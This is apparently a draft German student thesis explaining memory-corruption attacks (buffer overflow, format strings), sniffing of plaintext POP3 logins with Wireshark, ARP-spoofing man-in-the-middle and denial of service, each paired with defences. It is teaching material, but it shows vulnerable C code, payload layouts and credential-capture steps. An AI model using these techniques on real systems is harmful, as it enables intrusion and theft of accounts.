Ein Buffer beschreibt einen reservierten Speicherbereich, um Daten temporär zu speichern. Ein Buffer Overflow tritt auf, wenn mehr Daten in diesen Bereich geschrieben werden, als die Kapazität erlaubt. Dies kann dazu führen, dass zur Ausführung des Programms wichtige Daten überschrieben werden und das Programm anders abläuft, als vom Programmierer ursprünglich geplant. Dies ist besonders kritisch, wenn das Programm mit Root-, also Administrationsrechten ausgeführt wird, da der Angreifer dann die Kontrolle über das gesamte System erlangen kann. Programmiersprachen wie C, bei denen sich RAM sehr direkt kontrollieren lässt, sind besonders anfällig für Attacken dieser Art. Moderne Programmiersprachen besitzen oft eine automatische Speicherverwaltung, die die direkte Kontrolle des RAM erschweren oder sogar verunmöglichen.

4.1.1 Allgemeine Funktionsweise

Voraussetzung dieser Attacke ist ein Programm, das Daten (zum Beispiel Text) als Input annimmt und diese in das RAM kopiert, ohne vorher zu überprüfen, ob ausreichend Platz reserviert wurde. Der Angreifer kann den Input dann bewusst zu lange wählen, so dass er die Kapazität des buffers überschreitet. Ziel ist oft die Überschreibung der Rückkehradresse einer Funktion. Diese liegt unterhalb des Buffers im Stack Frame. Da Daten im Stack in Richtung tiefer Adressen gespeichert werden, wird die Rückkehradresse ab einer bestimmten Inputlänge überschrieben. Bei geschickter Zeichenfolge wird sie durch eine neue Speicheradresse ersetzt, die auf einen eigens im RAM platzierten Code zeigt. Dieser oft bösartige Code wird als Shellcode bezeichnet. Er muss in Assembler- oder Maschinensprache angegeben werden. Zur Platzierung des Shellcodes im RAM können verschiedene Methoden verwendet werden. In diesem Fall wird er als Input eingegeben, die Platzierung in Umgebungsvariablen ist beispielsweise aber auch möglich, erfordert aber deren Zugriff.

Der zur Ausführung dieser Attacke nötige Input enthält also eine neue Rückkehradresse und den Shellcode. Die Rückkehradresse zeigt dabei zur Speicheradresse des Shellcodes und lässt

diesen bei Funktionsende ausführen. Zwei Probleme treten auf:

1. Meist ist es schwer vorherzusagen, wo genau die neue Rückkehradresse im Input platziert werden muss, damit sie die originale Rückkehradresse trifft. Die Speichersegmentierung kann zwischen Programmausführungen variieren und lässt eine exakte Vorhersage nur schwer zu. Dieses Problem kann einfach durch die wiederholte Angabe der neuen Rückkehradresse gelöst werden. Wenn man statt nur eine anzugeben einen ganzen Bereich mit Rückkehradressen füllt, erhöht sich die Wahrscheinlichkeit, die originale Rückkehradresse zu treffen, massiv.
2. Das zweite Problem bezieht sich auf die Vorhersage der Speicheradresse des Shellcodes. Da eine exakte, genau auf den Start des Shellcodes zeigende Rückkehradresse angegeben werden muss, kann das Problem nicht durch wiederholte Angabe gelöst werden. Hier greift man auf einen no-operation (NOP) sled zurück.

   NOP sled Ein NOP sled beschreibt eine Reihe von NOP-Instruktionen. Diese Instruktionen tun nichts, ausser zur nächsten Instruktion zu springen, bis schliesslich der finale Code (in diesem Fall Shellcode) erreicht wird.

   Die Platzierung eines langen NOP sled vor dem Shellcode macht eine genaue Vorhersage der Speicheradresse des Shellcodes überflüssig. Es reicht, wenn die Rückkehradresse den NOP sled trifft.

Der finale Input hat dementsprechend folgendes Format (RET für Rückkehradresse):

| NOP | NOP | NOP | SHELLCODE | RET | RET | RET |

Er führt zur Ausführung des Shellcodes.

4.1.2 Abwehrmechanismen

Bei modernen Computersystem ist diese Attacke wegen verschiedener Sicherheitsmechanismen relativ schwierig durchzuführen.

- **Bound-Checking**: Die simpelste Abwehrmethode ist das Bound-Checking. Sie verhindert das Schreiben von Daten bei Überschreitung der Kapazität eines Buffers.
- **Stack Canaries**: Stack Canaries beschreiben eine Methode, bei der bewusst Prüfdaten im RAM platziert werden, die nicht zur Veränderung gedacht sind. Eine Veränderung dieser Daten hat eine Alarmierung des Systems zur Folge. [21]
- **Adress Space Layout Randomization (ASLR)**: ASLR ordnet ausführbarem Code zufällige Adressen zu. Dies erschwert auch die ungefähre Vorhersage von Datenplatzierung im RAM. [22]
- **Non-Executable Memory**: Gewisse Speicherbereiche im RAM werden als nicht ausführbar markiert. Wird der Shellcode in einem dieser Bereiche platziert, ist er nutzlos.

4.1.3 Konkretes Beispiel

Dieses Beispiel inklusive Code wurde direkt aus dem Buch “Hacking - The Art of Exploitation” [1] übernommen. Es kann selbst nachgestellt werden. Zur Handhabung der Beispiele und Links zum Code siehe Kapitel Beispiele aus “Hacking - The Art of Exploitation” im Appendix. Als Verständnishilfe wurde zusätzlich zum Buch wurde ein Stack Overflow-Eintrag verwendet. [23]

Voraussetzung für die Durchführung dieses Beispiels ist ein 32bit Linux System, bei welchem die oben angegebenen Abwehrmechanismen nicht vorhanden oder deaktiviert sind. Für das Beispiel werden folgende Programme verwendet:

- **notetaker.c**: Ein Notizprogramm, das Notizen in einer Datei (var/notes) speichert. Da das Programm von mehreren Benutzern benutzt werden können soll, gehört es root.
- **notesearch.c**: Ein Programm, das die Notizen einer bestimmten Person wiedergibt und einen Suchinput zulässt. Es gehört ebenfalls root. Das Programm hat eine Sicherheitslücke (im Programmausschnitt unten in Linie 5). Es kopiert den Suchstring, der als erstes Befehlszeilenargument eingegeben werden kann, ohne Überprüfung der Länge in den auf 100 Bytes limitierten Buffer. Dies geschieht durch die Funktion `strcpy()`.

```
1 int main(int argc, char *argv[]) {
2   int userid, printing=1, fd;
3   char searchstring[100];
4   if(argc > 1)
5     strcpy(searchstring, argv[1]);
6   else
7     searchstring[0] = 0;
```

- **exploit_notesearch.c**: Dieses Programm wird zur Erstellung des präparierten Suchstrings verwendet. Die Funktionsweise wird im Folgenden genauer erläutert. Das Programm ist im Anhang abgedruckt.

Erstellung des Suchstrings Zur ungefähren Abschätzung der Speicheradresse der Speicheradresse des Suchstring-Buffers wird eine Variable des **exploit_notesearch.c**-Programmes zur Hilfe genommen, dessen Adresse sich während der Ausführung abfragen lässt. Es kann davon ausgegangen werden, dass **notesearch.c**-Programm ähnliche Speicheradressen verwendet, da der Prozess ungefähr an derselben Stelle gestartet wird. Experimentieren ist aber nötig, weshalb ein `offset`-Wert definiert wird, der eine Verschiebung der Speicheradressen ermöglicht. Anhand dieser Daten wird ein Suchstring nach obigem Format erstellt. Der Shellcode öffnet in diesem Fall eine Root-Kommandozeile.

Ausführung von notesearch.c Das Programm wird mit dem präparierten Suchstring gestartet. Dabei wird ein Skript verwendetet, welches systematisch verschiedene `offset`-Werte ausprobiert. Falsche `offset`-Werte bringen das **notesearch.c**-Programm in den meisten Fäl-

len zum Absturz. Sobald der richtige `offset`-Wert gefunden wurde, wird die Attacke erfolgreich durchgeführt und eine Kommandozeile geöffnet. Durch das Kommando `whoami` lässt sich überprüfen, dass die Kommandozeile Root-Berechtigungen besitzt.

4.2 Format String Exploitation

In den meisten Programmiersprachen gibt es Möglichkeiten, Text in die Kommandozeile zu drucken. Für variablen Input werden in C Format Specifiers gebraucht. Format Specifiers geben an, welcher Datentyp erwartet werden soll. Beispielsweise kann der Format Specifier `%d` für Ganzzahlen auf diese Weise eingesetzt werden:

```
1 int main() {
2   int zahl = 42;
3   printf("Ganzzahl: %d", zahl);
4 }
```

Die Ausgabe des Programms lautet:

```
  Ganzzahl: 42
```

Eine fehlerhafte Implementierung von Format Specifiers kann ausgenutzt werden, um unerwünschte Speicherzugriffe oder -manipulationen durchzuführen.

4.2.1 Allgemeine Funktionsweise

Voraussetzung dieser Attacke ist ein Programm, welches eine Angabefunktion wie `prinf()` verwendet, um vom Benutzer gegebenen Input zu drucken. Dabei wird der Input aber nicht explizit als String, sondern direkt gedruckt (siehe Code unten).

```
1 printf("%s", text); // korrekte Art
2 printf(text);  // falsche Art
```

Die falsche Implementierung erlaubt dem Angreifer die Benutzung von eigenen Format Specifiers. Zum Verständnis der Attacke muss die Speichersegmentierung bei einem `printf()`-Funktionsaufruf bekannt sein.

Speichersegmentierung bei printf() Bei Funktionsaufruf einer `printf()`-Funktion wird eine Rückkehradresse zur Ursprungsfunktion, die Speicheradresse im Text Segment des zu druckenden Textes und die Argumente der `printf()`-Funktion in dieser Reihenfolge auf den Stack gelegt. Die Argumente stehen jeweils direkt hintereinander. Je nach Datentyp werden die Werte direkt, also nicht als Referenzierung durch Speicheradressen, auf den Stack gelegt. Beim Format Specifier `%x`, der aus vier Bytes bestehende hexadezimale Zahlen in den Text einbettet, ist dies der Fall.

Die Falsche Implementierung der `printf()`-Funktion kann auf zwei Arten ausgenutzt werden:

1. **Speicherlesen**: Format Specifier wie beispielsweise `%x` erwarten Argumente. Werden keine Argumente angegeben, lesen sie die Daten an der Stelle aus, an der die Argumente erwarten werden. Durch Wiederholung von `%x` lassen sich so ab der Stelle, bei der die `printf()`-Funktion Argumente im RAM erwartet, Daten in die Kommandozeile drucken. Dies erlaubt das vom Programmierer möglicherweise unerwünschte Auslesen von Daten.

2. **Speichermanipulation**: Bedeutend schlimmer ist die unerwünschte Veränderung von Daten im RAM. Dazu kann der Format Specifier `%n` genutzt werden. Er schreibt die bisherige Anzahl gedruckter Zeichen als Binärzahl an eine als Argument angegebene Speicheradresse. Das Beispiel unten zeigt die Funktionalität von *%n*. Der Referenzoperator `&` wird benötigt, um die Variable `count` zu referenzieren. Dies ist erforderlich, da `%n` eine Speicheradresse erwartet.

```
1 int main() {
2   int count;
3   printf("Hallo, Welt!%n", &count);
4   printf("\nAnzahl der ausgegebenen Zeichen: %d", count);
5 }
```

   Die Ausgabe des Programms lautet:

```
Hallo, Welt!
Anzahl der ausgegebenen Zeichen: 12
```

   Diese Attacke ist speziell kritisch, wenn der gedruckte Text weiter unten im Stack gespeichert wird und so auf sich selbst referenzieren kann, denn dadurch können gezielt Speicheradressen manipuliert und durch geschickte Wahl des Input mit eigenen Daten gefüllt werden. Das Beisiel in Kapitel 4.2.3 demonstriert das Schreiben einer eigenen Speicheradresse an einen bestimmten Punkt im RAM. Mithilfe eines Shellcodes kann dies dieselben Konsequenzen wie eine Buffer Overflow-Attacke (Kapitel 4.1) von sich tragen.

4.2.2 Abwehrmechanismen

Erneut ist die Attacke bei modernen Computersystemen wegen verschiedenen Abwehrsystemen nur schwer durchzuführen.

- **Drucken als String**: Wird der Input mit dem Format Specifier *%s* als String gedruckt, werden in ihm enthaltene Format Specifier ignoriert.
- **Stack Canaries, ASLR und Non-Executable Memory**: Die Sicherheitsmechanismen, die bereits in Kapitel 4.1.2 beschrieben wurden, schützen auch in diesem Fall vor ungewollten Änderungen im RAM oder der Ausführung des Shellcodes.

4.2.3 Konkretes Beispiel

Dieses Beispiel inklusive Code wurde direkt aus dem Buch “Hacking - The Art of Exploitation” [1] übernommen. Es kann selbst nachgestellt werden. Zur Handhabung der Beispiele und Links zum Code siehe Kapitel Beispiele aus “Hacking - The Art of Exploitation” im Appendix.

Voraussetzung für die Durchführung dieses Beispiels ist ein 32bit Linux System, bei welchem die oben angegebenen Abwehrmechanismen nicht vorhanden oder deaktiviert sind. Für das Beispiel wird das Programm **fmt_vuln.c** verwendet.

fmt_vuln.c Das Programm **fmt_vuln.c** druckt einen vom Benutzer als Kommandozeilenargument gegebenen Input in die Kommandozeile. Die Sicherheitslücke besteht darin, dass das Programm den Text nicht explizit als String, sondern direkt druckt. Die zwei wichtigsten Zeilen sind unten abgedruckt.

```
1 strcpy(text, argv[1]);
2 prinft(text);
```

Eine weitere wichtige Eigenschaft des Programms ist, dass der `text`-Buffer, der den vom Benutzer gegebenen Input speichert, unterhalb (bei höheren Speicheradressen) des `printf()`-Stack Frame im Stack gespeichert ist. Die Angabefunktion muss auf dem höchsten Stack Frame sein, die Speicherung des `text`-Buffers muss also unterhalb geschehen. Dies macht eine Selbstreferenzierung möglich.

Zu Demonstrationszwecken wird der Wert einer Variable `test_val` mit einer Speicheradresse überschrieben. Analog zu Kapitel 4.1.3 kann die in diesem Kapitel beschriebene Technik aber zur Überschreibung einer Rückkehradresse und Ausführung von Shellcode verwendet werden. Das Programm **fmt_vuln.c** ist im Anhang abgedruckt.

Zur Ausführung der Attacke sind folgende Schritte notwendig:

1. Durch Ausprobieren mit wiederholter Angabe des Format Specifiers `%x` lässt sich herausfinden, das wievielte Argument dem Beginn des `text`-Buffer entspricht. In diesem Fall ist es das vierte.
2. Ein geschickter Input wird eingegeben. Dieser hat folgendes Format:

| S1 | JUNK | S2 | JUNK | S3 | JUNK | S4 | %x | %x | %125x | %n | %201x | %n | %15x | %n | %175x | %n |

- **Speicheradressen (S)**: S1, S2, S3 und S4 stehen für die vier einzelnen Bytes der `test_val`-Variable. S1 zeigt zum ersten Byte, S4 zum letzten. **JUNK**: Das Wort JUNK wird als Platzhalter verwendet, von dem die `%x` Format Specifier lesen können. Die Zeichenfolge ist nicht von Bedeutung und kann ersetzt werden, das Wort muss jedoch eine Länge von vier Bytes aufweisen.

- **%x**: Die `%x` Format Specifier lesen hexadezimale Wörter der Länge vier Bytes und betten diese in den Text ein. Eine Zahl vor dem `x` gibt die Mindestlänge der zu lesenden Daten an. Mithilfe der Mindestlänge kann die Anzahl der bisher geschriebenen Zeichen auf die gewünschte Länge erhöht werden.
- **%n**: Die `%n` Format Specifier schreiben die Anzahl bisher geschriebenen Zeichen als Integer der Länge vier Bytes an die als Argumente angegebenen Speicheradressen. Bei korrekter Anpassung des Inputs verwenden sie S1, S2, S3 und S4.

Die ersten drei `%x` Format Specifier werden gebraucht um die Distanz zum `text`-Buffer zu überwinden. Der dritte Format Specifier erhöht die Anzahl gedruckter Zeichen um 125. Diese Anzahl wird dann durch den `%n` Format Specifier an die Speicheradresse S1 geschrieben. Da das am wenigsten signifikante Byte wegen der Little Endian Architektur zuerst gespeichert wird, wird das Byte an Stelle S1 mit der Anzahl gespeicherter Zeichen überschrieben. Der nächste Format Specifier erhöht die Anzahl gedruckter Zeichen erneut um die gewünschte Anzahl, in diesem Fall um 201. Sollte das zweite Byte der Speicheradresse tiefer sein als das erste ergibt sich ein Problem, da nur Erhöhung, nicht aber Vertiefung der bisher gedruckten Zeichen möglich ist. Dies lässt sich durch das Wrapping Around-Prinzip lösen.

Wrapping Around Ein Byte entspricht einem Zeichen bestehend aus acht Bit. Die Binärzahl `11111111` entspricht der Dezimalzahl 255. Bei Erhöhung um eins bekommt die Binärzahl ein neuntes Zeichen und sieht wie folgt aus: `100000000`. In diesem Fall sind nur die letzten acht Bits von Bedeutung. Diese bleiben bei einer Erhöhung der Zahl um die Dezimalzahl 256 gleich. Dadurch lässt sich das Problem der bereits zu hohen Anzahl gedruckter Zeichen eifach lösen, indem statt der ursprünglichen Zahl die nächsthöhere Zahl in Schritten von 256 verwendet wird.

3. Bei Ausführung des Programms wird dieses Verfahren insgesamt viermal angewendet und dadurch eine ganze Speicheradresse an die Adresse der `test_val` geschrieben. Eine Veränderung der nächsten drei Bytes hinter der `test_val`-Variable lässt sich nicht vermeiden, dies ist aber nicht weiter störend.

4.3 Network Sniffing

Network Sniffing beschreibt das Abfangen und Auslesen von an andere Geräte adressierten Datenpaketen in einem Netzwerk. Dazu wird ein Network Sniffer verwendet. Network Sniffers analysieren den Datenverkehr in einem Netzwerk. Die Verwendung ist erlaubt und kann Netzwerkadministratoren helfen, die Effizienz eines Netzwerkes durch gezielte Veränderung bestimmter Parameter zu verbessern. Da sie das Auslesen von fremden Daten ermöglichen, werden sie aber oft zu kriminellen Zwecken gebraucht.

4.3.1 Allgemeine Funktionsweise

Die Attacke ist vor allem bei älteren Netzwerken effektiv. Diese greifen teilweise auf Hubs zurück. Hubs sind Datenverteiler, die keine direkten Verbindungen zwischen Netzwerkgeräten aufbauen, sondern alle Datenpakete an alle im Netzwerk befindlichen Geräte senden. Dabei vertrauen sie darauf, dass nur der eigentliche Empfänger die Daten ausliest. In der Standardkonfiguration ignorieren Betriebssysteme Datenpakete, die an einen anderen Empfänger gerichtet sind, dies lässt sich in den meisten Fällen jedoch leicht ändern. Die dazu benötigten Schritte variieren zwischen verschiedenen Betriebssystem. Die Installation eines Raw Sockets als Network Sniffer ermöglicht das Mitlesen von Datenpaketen. Eine bekannte Software hierfür ist Wireshark. Nach Empfang der Datenpaketen können diese oft, sofern keine verschlüsselte Kommunikation verwendet wird, bis auf Applikationsebene entpackt werden. Dabei werden unter Umständen sensible Daten wie Passwörter offengelegt, die der Angreifer für weitere Angriffe nutzen kann.

4.3.2 Abwehrmechanismen

Verschiedene Sicherheitssysteme erschweren diese Art von Attacke. Die wichtigsten sind folgende zwei:

- **Verschlüsselung**: Während Verschlüsselung der Datenpakete zwar den unerwünschten Empfang nicht verhindert, macht es diese für den Angreifer, sofern er nicht im Besitzt des Schlüssels ist, unbrauchbar. Dazu kann ein Virtual Private Network (VPN) verwendet werden.

  VPN Ein VPN verschlüsselt die Kommunikation zwischen zwei Endpunkten. Daten werden beim Benutzer verschlüsselt und erst beim VPN-Server wieder entschlüsselt. Der Schlüsselaustausch erfolgt beim Verbindungsaufbau. Endgeräten wird eine neue, interne IP-Adresse zugewiesen. Dies ermöglicht die Verschleierung des Aufenthaltsortes des Benutzers, da seine Datenpakete vom VPN-Server ausgehen zu scheinen. So kann unter anderem auf örtlich gesperrte Inhalte im Internet zugegriffen werden. [24]

- **Antivirensoftware**: Oft besitzen Antivirensoftware Systeme zur Erkennung von Netzwerkanomalien. Bei Erkennung einer Unregelmässigkeit wird das System analysiert und möglicherweise vom Netzwerk getrennt.

4.3.3 Konkretes Beispiel

Dieses Beispiel wurde vom Verfasser dieser Arbeit konzipiert und dient der Veranschaulichung. Es wird ausdrücklich darauf hingewiesen, dass diese Attacke ohne Zustimmung aller involvierten Parteien illegal ist und strafrechtliche Konsequenzen davontragen kann.

Voraussetzung dieser Attacke ist ein Netzwerk, dass zur Datenverteilung Hubs einsetzt. In diesem Netzwerk müssen Geräte die veraltete, unverschlüsselte Version des POP3-Mail-Protokolls verwenden. Diese Situation ist in kleinen Unternehmen mit alter Information Technology

(IT)-Infrastruktur denkbar. Ziel der Attacke ist es, Zugriff auf den Mail-Server eines Benutzers zu erhalten. Zusätzlich zu obig genannten Voraussetzungen muss der Angreifer Zugriff auf das Netzwerk besitzen und im Besitzt eines Network Sniffers sein. In diesem Beispiel wird das Programm Wireshark benutzt, das unter folgendem Link kostenfrei heruntergeladen werden kann: `https://www.wireshark.org/`. Folgende Schritte sind nötig:

1. Beim Start des Programms Wireshark muss eine Schnittstelle gewählt werden. Diese hängt von der Verbindungsart des Angreifers zum Netzwerk ab. Handelt es sich um eine Wireless Local Area Network (WLAN)-Verbindung, muss in meinem Fall die Schnittstelle WLAN gewählt werden, je nach Netzwerk-Hardware kann die Namensgebung aber unterschiedlich ausfallen.

2. Nachdem die Aufzeichnung der Netzwerkverkehrs gestartet wurde, müssen die erhaltenen Daten nach dem POP3-Mail-Protokoll gefiltert werden. Die unverschlüsselte POP3-Kommunikation erfolgt auf Port 110. In Wireshark wird deshalb der Filter `tcp.port == 110` festgelegt. Alle angezeigten Datenpakete beziehen sich dann auf POP3 basierte Kommunikation.

3. Der Netzwerkverkehr muss nun so lange aufgezeichnet werden, bis ein Benutzer sich auf den Mail-Server einloggt. Beim Login-Vorgang werden die Benutzerdaten in plaintext, also ohne Verschlüsselung, an den Mail-Server gesendet. Sobald dieses Datenpakete gefunden wurde, kann der Angreifer mithilfe der Benutzerdaten selbst Anfragen an den Mail-Server des Opfers stellen. Damit ist er im Besitz von Lese- und Schreibrechten über den Mail-Account des Opfers und kann somit erhaltene Mails lesen oder selbst Mails verfassen.

4.4 Man-in-the-Middle

Normalerweise erfolgt die Kommunikation zwischen zwei Geräten in einem Netzwerk auf direktem Weg. Ziel einer Man-in-the-Middle (MITM)-Attacke ist es deshalb, sich zwischen eine direkte Verbindung zu setzten und so Zugriff auf die gesendeten Datenpakete zu erlangen. Technisch gesehen handelt es sich dabei um aktives Network Sniffing und könnte so Kapitel 4.3 untergeordnet werden, da die Vorgehensweisen aber sehr unterschiedlich ausfallen, wird die MITM-Attacke in dieser Arbeit als eigenes Kapitel behandelt. Bei einer Kommunikation zwischen `A` und `B` gibt der Angreifer `A` vor, `B` zu sein und `B` vor, `A` zu sein. Während `A` und `B` weiter glauben, Datenpakte an ihren Kommunikationspartner zu senden, senden sie diese dem Angreifer. Dieser kann so an sensible Informationen gelangen oder durch gezielte Veränderung der Datenpakete bestimmte Reaktionen bei den Empfängern hervorrufen.

4.4.1 Allgemeine Funktionsweise

Als erstes wird zur Erkennung einer bestehenden Verbindung zwischen zwei Geräten `A` und `B` Network Sniffing (Kapitel 4.3) eingesetzt. Danach kommt eine Technik namens ARP-Spoofing zum Zug.

ARP-Spoofing ARP ist ein simples Netzwerkprotokoll, dass wie bereits in Kapitel 3.3.2 erwähnt IP- in MAC-Adressen umwandelt. Da das Protokoll auf Datenprotokollierung verzichtet, akzeptieren Geräte ARP-Antworten, ohne zuvor eine ARP-Anfrage gestellt zu haben. Dies kann ein Angreifer ausnutzen, um die Kommunikation zwischen Geräten mit gefälschten ARP-Antworten umzulenken.

Konkret sendet der Angreifer folgende ARP-Antworten:

- An A: "Die IP-Adresse von `B` ist [MAC-Adresse des Angreifers]."
- An B: "Die IP-Adresse von `A` ist [MAC-Adresse des Angreifers]."

Dadurch werden die beiden Kommunikationspartner getäuscht und senden ihre Datenpakte an den Angreifer, anstatt direkt zu kommunizieren. Bei unverschlüsselter Kommunikation kann er diese bis auf Applikationsebene entpacken. Dabei werden unter Umständen sensible Daten wie Passwörter offengelegt. Um die Täuschung aufrechtzuerhalten, muss der Angreifer wiederholt die obigen ARP-Antworten senden, da zur Verifikation zwischendurch ARP-Anfragen von `A` und `B` zu erwarten sind.

Damit die Kommunikation fortgesetzt wird, leitet der Angreifer die Datenpakte nach Empfang an den eigentlichen Empfänger weiter. Die Weiterleitung eröffnet dem Angreifer zusätzliche Möglichkeiten. Da die Kommunikationspartner der Kommunikation weiterhin vertrauen, können beim Empfänger durch gezielte Veränderung der in den Datenpaketen enthaltenen Daten bestimmte Reaktionen hervorgerufen werden. Dazu gehört zum Beisiel die Umleitung auf gefälschte Login-Seiten, Manipulation von Transaktionen oder Verteilung von Schadsoftware. Auf jeden Fall müssen die Datenpakete müssen aber so modifiziert werden, dass die Kommunikationspartner keinen Verdacht schöpfen. Wird beispielsweise die MAC-Adresse des Angreifer im Datenpaket verwendet, muss diese vor der Weiterleitung mit der MAC-Adresse des finalen Empfängers ersetzt werden.

4.4.2 Abwehrmechanismen

Da beide Attacken netzwerkbasiert sind, fallen die Sicherheitssysteme ähnlich aus wie beim Network Sniffing (Kapitel 4.3). Zusätzlich zur Verschlüsselung und Systemen zur Erkennung von Netzwerkanomalien kommt folgender Aspekt hinzu:

- **Statische ARP-Einträge**: Ist eine Verbindung zwischen zwei Geräten einmal etabliert, können sie einen statischen ARP-Eintrag vornehmen. Dadurch wird die Zuordnung von IP- und MAC-Adresse fixiert und neue, möglicherweise gefälschte ARP-Antworten ignoriert. [25]

4.5 Denial of Service

Eine Denial of Service (DoS)-Attacke ist eine netzwerkbasierte Attacke mit dem Ziel, den Zugang zu einer Ressource zu verunmöglichen. Dazu existieren zwei Möglichkeiten: Entweder wird das System durch den Einsatz ähnlicher Methoden wie in Kapitel 4.1 und 4.2 beschrieben zum Absturz gebracht oder das System wird überladen und so für andere unzugänglich.

Allenfalls kann dies auch einen Absturz zur Folge haben.

4.5.1 Allgemeine Funktionsweise

System zum Absturz bringen Eine allgemeine Funktionsweise zu formulieren ist schwierig, da die Attacke individuell an jedes System und dessen Sicherheitslücken angepasst werden muss. Exemplarisch werden deshalb zwei Attacken beschrieben.

- **Ping of Death**: Das ICMP-Programm `ping` besitzt eine Maximalzahl an Daten, die es transportieren kann. Wird ein Datenpaket mit grösserer Datenmenge versendet, brachte dies in der Vergangenheit das System des Empfängers zum Absturz.
- **Teardrop-Attacke**: Bei grosser Datenmenge werden Datenpakete auf OSI-Modell Level 3 fragmentiert. Um die Reihenfolge der Datenpakete zu sichern, erhält jedes Paket einen `offset`-Wert, der die Startposition des Pakets innerhalb der gesamten Datenmenge angibt. Trägt das erste Paket beispielsweise 26 Bit, erhält das nächste Paket den `offset`-Wert 27. Das Senden von überlappenden `offset`-Werten brachte Systeme zum Absturz.

Systeme überladen Systeme können auf viele Arten überlastet werden. Die Liste unten zeigt einige Möglichkeiten für Nachrichtentypen und Verstärkungsmethoden.

- **Nachrichtentypen**: Ein System kann mit verschiedenen Nachrichtentypen attackiert werden. Diese können unter Umständen auch kombiniert werden.
  - **Synchronize Sequence Number (SYN) Flooding**: Zum Verbindungsaufbau im TCP wird ein dreiseitiger Handshake benötigt. Benutzer `A` sendet Benutzer `B` eine SYN Paket und Benutzer `B` antwortet mit einem SYN-Acknowledgement (ACK) Paket. Antwortet Benutzer `A` schliesslich mit einem ACK Paket, ist die Verbindung etabliert. Beim SYN Flooding sendet der Angreifer SYN Anfragen mit zufällig generierten, nicht-existenten IP-Adressen. Das Opfer sendet dann SYN-ACK Pakete zurück, bekommt darauf aber keine Antworten. Viele dieser Nachrichten führen zur Überladung.
  - **Ping Flooding**: Beim Ping Flooding wird ein System mit grossen ICMP Datenpaketen attackiert. Ist der Angreifer im Besitzt einer grösseren Bandbreite als das Opfer, wird das Opfer unzugänglich für neue Anfragen.
- **Verstärkungsmethoden**: Verschiedene Methoden zielen darauf ab, die Anzahl gesendeter Nachrichten zu erhöhen.
  - **Distributed Denial of Service**: Distributed Denial of Service (DDoS) ist eine der bekanntesten Hacking-Attacken. Um die Anzahl Nachrichten zu erhöhen, übernimmt der Angreifer vorgängig die Kontrolle über viele sich in einem Netzwerk befindenden Geräte. Smart Home Geräte sind zu diesem Zweck besonders beliebt, da sie meist nur über schwache Sicherheitssysteme verfügen. [26] Anschliessend werden die Geräte synchron zur Attacke eingesetzt.

– **Amplification Attacke**: Befinden sich viele Geräte in demselben Netzwerk ist eine Amplification Attacke effektiv. Dabei sendet der Angreifer Datenpakete mit gefälschter Absenderadresse an die Broadcasting-Adresse eines Netzwerkes. Anstatt dem Angreifer zu antworten, senden die Geräte eine Antwort an das Opfer zurück.

4.5.2 Abwehrmechanismen

Da keine allgemeine Form der DoS-Attacke existiert, ist es erneut schwierig, Abwehrmechanismen anzugeben. Folgende Systeme sind unter Anderem wirksam:

- **Sicherheitsupdates**: Sicherheitslücken wie Ping of Death oder Teardrop wurden behoben. Regelmässige Sicherheitsupdates sind zur Schliessung dieser Sicherheitslücken wichtig.
- **Antivirensoftware**: Erneut kann ein System zur Erkennung von Netzwerkanomalien helfen. Bei zu vielen Anfragen wird das System alarmiert und entsprechende Gegenmassnahmen, wie die Blockierung von Anfragen anhand bestimmter Filter, eingeleitet.

4.6 Erklärung weiterer Begriffe

- **Phishing**: Das Ziel von Phishing ist es, einen Benutzer zu täuschen und ihn dazu zu bringen, sensible Daten wie Passwörter preiszugeben. Dazu werden beispielsweise gefälschte Webseiten oder E-Mails verwendet. [27]
- **Malware**: Malware ist Schadsoftware, die darauf ausgelegt ist, Opfer zu schädigen oder ausnutzen. Abgesehen von der SQL-Injection sind alle folgenden Begriffe der Kategorie der Malware unterzuordnen. [28]
- **Ransomware**: Ransomware verschlüsselt die Daten eines Benutzers. Zum Erhalt des Schlüssels wird oft ein Lösegeld gefordert. [28]
- **Trojaner**: Der Name bezieht sich auf das Trojanische Pferd der griechischen Mythologie und bezeichnet so die Tarnung von Schadsoftware als harmloses Programm. [28]
- **Viren**: Computerviren sind sich selbstständig verbreitende Programme, die dadurch weitere Dateien, Systeme oder Netzwerke infizieren. Im Gegensatz zu Würmern sind Viren aber auf die Interaktion des Benutzer angewiesen, also beispielsweise den Klick auf einen Link. [29]
- **Würmer**: Würmer sind prinzipiell ähnlich wie Viren, können sich aber autonom ohne die Interaktion eines Benutzers ausbreiten. [29]
- **Spyware**: Spyware dient zur Überwachung eines Benutzers. Durch sie wird kein Schaden am System verursacht, das Nutzungsverhalten aber an Dritte weitergeleitet. [28]
- **Keylogger**: Keylogger sind eine Unterkategorie der Spyware. Sie zeichnen die Eingaben eines Benutzers auf und übermitteln sie an Dritte. [28]

- **SQL-Injection**: Die Structured Query Language (SQL) wird im Zusammenhang mit Datenbanken verwendet. Das Prinzip der SQL-Injection ist dem der Format String Exploitation (Kapitel 4.2) sehr ähnlich: Spezielle Inputs werden dazu verwendet, die Datenbank zu manipulieren und so Daten auszulesen, zu verändern oder zu löschen. [30]

5 Analyse bekannter Hackerangriffe

5.1 Russische Einflussnahme auf die Präsidentschaftswahlen (2016)

5.2 Angriff auf das ukrainische Stromnetz (2015)

5.3 WannaCry Ransomware (2017)

6 Das Dark Web

6.1 Grundlagen

6.2 Zugangsmechanismen und Tools

6.3 Sicherheitsrisiken

7 Diskussion

was ist rausgekommen?

8 Ausblick

was hätte man noch machen können? Rechtliche Aspekte, Analyse moderner Hacking-Attacken, Dark Web

Danksagung

Eduard (Latex), Thomas (Betreuung), Michael (Durchlesen)

A Appendix

A Beispiele aus "Hacking - The Art of Exploitation"

Einige Beispiele des Buches "Hacking - The Art of Exploitation" [1] wurden direkt in diese Arbeit übernommen. Diese sind so gekennzeichnet. Die Beispiele dienen als praktische Veranschaulichung der theoretischen Beschreibung der Hacking-Attacken. Sie können auf eigene Verantwortung nachgestellt werden. Der Autor verweist ausdrücklich darauf hin, dass Attacken dieser Art ohne Zustimmung aller involvierten Parteien unter Umständen illegal und bestrafbar sind. Zur Durchführung wird ein 32bit Linux System ohne den unter **Abwehrmechanismen** aufgelisteten Sicherheitssystemen benötigt. Die benötigten Programme finden sich unter diesem Link `https://drive.google.com/drive/folders/1uUnEDpJnsj8zR348teSdqvfPycfTvEGn?usp=sharing`, ein ISO-Abbild der originalen LiveCD, die zum Buch "Hacking - The Art of Exploitation" [1] mitgeliefert wurde unter diesem Link `https://resources.oreilly.com/examples/9781593271442/-/blob/master/hacking-live-1.0.iso`. Das ISO-Abbild kann mit einer Virtualisierungssoftware wie Oracle VirtualBox virtualisiert werden. Es enthält bereits alle 